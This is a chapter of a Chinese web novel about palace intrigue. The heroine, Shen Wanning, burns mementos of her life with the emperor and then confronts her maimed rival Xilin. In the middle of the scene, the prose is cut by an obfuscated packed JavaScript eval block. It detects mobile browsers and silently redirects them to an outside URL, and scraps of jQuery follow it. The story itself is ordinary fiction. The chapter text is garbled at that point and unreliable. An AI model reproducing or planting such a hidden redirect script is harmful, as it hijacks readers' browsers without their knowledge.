第13章 让她更加坚定自己的选择——离开这里

作品:《逆天改命后,渣男跪地忏悔

    是夜,更深露重。


    原本繁华热闹的庆典,因为西林被烧之事暂且搁置。


    虽然宴席照摆,可前来庆祝之人却少之又少。


    他们怕触了陆羽的霉头,也怕被西林记恨在心。


    故而这前几日还通宵达旦跳舞饮酒的御花园,今夜反倒是空落落的紧,瞧不见一人。


    沈晚宁扛着锄头,费力的在水井旁挖着。


    她挖的吃力,只是浅浅一个坑,她却挖了有一炷香之久。


    直至看见那个木匣,沈晚宁方停止了动作。


    她小心翼翼地捧出木匣,吹去上面的尘土,轻轻翻开去看——里面的东西虽然染了尘埃,但仍完好如初。


    这里面放着的是她与陆羽初穿越时,随身携带的几样东西。


    在现代,他们二人都是普通的外地打工人。


    大学毕业后的一年,两人挤在狭小的出租屋里度日。每日虽然粗茶淡饭,但是一想到不久后的将来,就可以存够钱付首付,他们便觉着再苦的日子都有了盼头。


    在攒首付的时间里,陆羽没有钱给沈晚宁买昂贵的礼物,但时常花心思准备一些小手工。


    譬如羊毛毡、钥匙扣等等。


    这些,沈晚宁一直都随身带着。


    穿越后,她与陆羽明白回不去现代时,便下了决心要在这个朝代重写人生。


    为此,他们将带着的东西都埋在了此处,相约待那一日到来时,再来挖出。


    可今日,前来践行诺言的人只有沈晚宁一人而已。


    沈晚宁打开吊坠,里面放着两**学时期的合照。


    照片里的她笑容明媚,不知天高地厚的将自己的未来托付给了一个男人。


    可笑。


    沈晚宁合上吊坠,一滴滚烫的血珠砸在吊坠上,紧接着,汩汩鲜血从鼻腔中涌出。


    沈晚宁随意的用袖子抹去,待她止住血时,木匣里的物什已都被鲜血染色。


    里面种种,或是她曾无比珍视的,又或是她曾不舍得的回忆,如今都被鲜血覆盖,什么也看不见了。


    沈晚宁明白,自己的寿命已经到头了。


    *


    占星楼下,铜火的火焰势头远比十五日前要削弱了不少。


    赤色的火焰摇曳着,仿佛随时都会被一阵小雨熄灭。


    因得了陆羽提前的口谕,沈晚宁登楼时一路畅通无阻,无人阻拦她。


    而楼顶处,只有两个执勤的小宫女正打着盹,里屋则漆黑一片,毫无动静。


    沈晚宁取出怀中的木匣,没有犹豫的将其掷下。


    木匣瞬间被铜火包裹住,先前还微弱的火苗,陡然间被点燃,烧的愈来愈旺。


    沈晚宁看着木匣被烧的彻底不见了踪影,方才释然的笑了。


    既然决定要走了,那她便不打算留下任何关于自己的东西。


    哪怕是一件穿过的旧衣裳,她都没有留在凤鸾殿中。


    她烧掉了所有的东西,至于那些烧不掉的,譬如她喜欢的花瓶等,她则在出门前统统砸碎,埋入了那光秃秃的院子里。


    当初,陆羽为西林砍去宫中所有红梅时,曾经还对沈晚宁劝慰过两句。


    他说:“朕会为你挑选更好看的花苗,到时候你的院子会比过去漂亮千百倍。”


    然而,秋去冬来,这片土壤的营养等到已经干涸,都没有等到新的花苗被送来。


    沈晚宁和这些土壤一样,干涸到没有了生机,哪怕再去浇灌,也无法回到从前。


    沈晚宁缓缓闭上眼,寒风将她的意识吹的无比清明,让她更加坚定自己的选择——离开这里。


    离开皇宫,离开陆羽。


    她跨过睡的歪七扭八的宫女,走入内殿。


    内殿弥散着一股浓浓的药味,还有腐肉的腥臭味。


    纵使西林用多重的熏香遮掩,都遮不住她正在腐烂的事实。


    听到了脚步声,本就因为疼痛难以入睡的西林猛地惊醒,哑着嗓音问道,“谁入我占星楼不通报?”


    沈晚宁揭开珠帘,并未开口,只是静静看着床榻上的西林。


    因未掌灯,西林根本看不清来者容貌,只能依稀辨认出,有个人站在珠帘处看自己。


    西林如今身上捆满了绷布,行动困难,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162079|165057||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是单单想要下床,她都难以独立完成。


    看着她狼狈的想往地上爬,沈晚宁并不觉得痛快。


    她本该痛快无比的。


    害死自己孩子的仇人成了这副人不人鬼不鬼的样子,哪怕之后可以站起来,她也绝不会恢复往昔的美貌。


    这辈子,西林都不会再生出曾经的皮肉了。


    但,沈晚宁只觉着心头空落落的紧。


    那块曾经被愤怒与悲痛填满的空洞,现在又被挖空。


    “是谁?你究竟是谁?”西林大喊道,她抓狂的想要伸手去抓些什么来防御,可胡乱抓了一通,也只抓到了一些被褥衣物罢了。


    沈晚宁不说话,她便更是崩溃。


    可她的声音根本无人会听到。


    沈晚宁看累了,便捡了张椅子坐下。


    她缓缓开口:“西林,你现在的样子真难看啊。”


    西林听出了沈晚宁的声音,愤怒霎时抵过恐惧,她登时循着声音的位置爬了几步,却被伤口扯痛的不敢再有所动作。


    “沈晚宁!你不是应该在宗人府吗?你跑来干什么?你又想做什么?”西林大声质问道。


    沈晚宁淡淡答:“我来送你一程。”


    西林心咯噔一下,方才的那些许怒意,顷刻间也化作畏惧。


    她瞪大双眸,再开口时,嗓音颤抖不止:“是我做错了,我不该鬼迷心窍去害你的孩子。可你看,我现在已经成废人了,我对你已经没有威胁了,你能不能大发慈悲,饶我一命?”


    见沈晚宁不回答,西林只觉得整个人被阴寒笼罩,无论后退还是前进,似乎头顶悬着的那把利刃都会瞬间贯穿她。


    她咽了咽口水,近乎哀求道,“你想要什么,我都可以给你。你是不是恨我的孩子做了太子?你放心,你今天饶过我,明天我就去求陛下废太子,我保证,你以后的孩子绝对会继续做太子的!”


    沈晚宁忽然嗤笑出声,在西林陷入无尽的恐慌中时,沉默许久的沈晚宁终于再次开口。


    她说:“西林,你悔过得太晚了,你就用这副可悲的残躯,用你的一辈子去悔过吧。”